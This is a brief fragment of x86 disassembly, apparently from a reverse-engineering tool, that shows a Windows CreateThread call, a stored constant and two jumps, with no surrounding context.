mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x4c66c], eax
mov dword [ebp - 0x4c670], 0x33826b6e
jmp 0x412ffa
jmp 0x40ed98